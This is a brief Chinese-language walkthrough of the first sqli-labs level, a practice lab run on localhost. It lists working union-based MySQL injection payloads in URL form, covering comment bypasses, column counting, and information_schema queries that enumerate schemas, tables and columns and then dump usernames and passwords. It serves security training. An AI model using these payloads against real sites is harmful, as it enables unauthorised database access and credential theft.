sqli-labs第一关(MySql基础)
-
url中#號無效，在url中使用%23代替#，或使用兩個減號--代替注釋，注意兩個減號后常根一個加號+，被解析為空格，以注釋掉后面的引號完成閉合
-
字符串中所有字符都可以使用16進制輸入(需要加0x)
-
探測有多少列：localhost/sqli-labs-master/Less-1/?id=1' order by 2--+，通過order by來探測列數
-
利用group_concat來在一行內顯示多個信息
-
探測union注入：localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, 3--+(3列)
-
查詢所有庫名：select group_concat(schema_name) from information_schema.SCHEMATA
example:localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(schema_name) from information_schema.SCHEMATA)--+ -
查詢security庫中所有表名:select group_concat(table_name) from information_schema.TABLES where table_schema = 'security'
example:http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(table_name) from information_schema.TABLES where table_schema = 'security')--+ -
查詢user表中所有列名：select group_concat(column_name) from information_schema.columns where table_name = 'users'
example: http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(column_name) from information_schema.columns where table_name = 'users')--+ -
查詢user表中信息：select group_concat(concat_ws('~', username,password)) from users(使用concat_ws()是為了分割數據，防止數據粘在一起)
example:http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(concat_ws('~', username,password)) from users)--+
總結
以上是生活随笔為你收集整理的sqli-labs第一关(MySql基础)的全部內容，希望文章能夠幫你解決所遇到的問題。
